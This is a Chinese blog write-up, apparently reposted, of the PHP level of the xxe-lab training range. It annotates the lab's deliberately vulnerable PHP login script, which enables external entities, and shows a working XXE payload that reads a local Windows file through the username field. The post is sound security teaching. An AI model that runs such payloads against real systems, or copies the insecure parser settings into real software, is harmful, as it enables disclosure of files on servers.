zoukankan      html  css  js  c++  java
  • 从xxe-lab来深入学习xxe漏洞

    这几天,想复习一下xxe的知识,于是把以前的一个靶场拿过来玩玩,顺便审计一下代码2333,靶场地址:https://github.com/c0ny1/xxe-lab

    首先先练习的是php-xxe:

                                                                                                                      

    我们抓一下包看一下吧。

                                                                                                                                                  

    看到了我们发送的用户名/密码都是以POST形式发送的。并且很像是xml文档、

    接下来开始源码审计。

    <?php
    /**
    * autor: c0ny1
    * date: 2018-2-7
    */
    
    $USERNAME = 'admin'; //账号
    $PASSWORD = 'admin'; //密码
    $result = null;
    
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档
    
    try{
        $dom = new DOMDocument();//创建XML的对象
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
        $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档
    
        $username = $creds->username;//获取username标签的值
        $password = $creds->password;//获取password标签的值
    
        if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了 }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的 } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>

    接下来只要有一点点的xxe基础就可以了,目标明确,只要我们构造的payload最后输出在username里面就行了,于是构造

    <?xml version="1.0"?>
    <!DOCTYPE Mikasa [
    <!ENTITY test SYSTEM  "file:///c:/windows/win.ini">
    ]>
    <user><username>&test;</username><password>Mikasa</password></user>

    下面是结果:

                                                               

    emmm,大约就是这样吧。

    参考:https://lightless.me/archives/Research-On-XXE.html

  • 相关阅读:
    synchronized 到底该不该用?
    线上Java程序占用 CPU 过高,请说一下排查方法?
    『JVM』我不想知道我是怎么来滴,我就想知道我是怎么没滴
    Golang 实现 Redis(8): TCC分布式事务
    Golang 实现 Redis(7): 集群与一致性 Hash
    Golang 实现 Redis(6): 实现 pipeline 模式的 redis 客户端
    LSM 树详解
    uni-app subNVue 原生子窗体简单使用案例(app端)
    日计不足涓滴成河-自定义响应结果格式化器
    RTT之软件包
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/10987813.html
Copyright © 2011-2022 走看看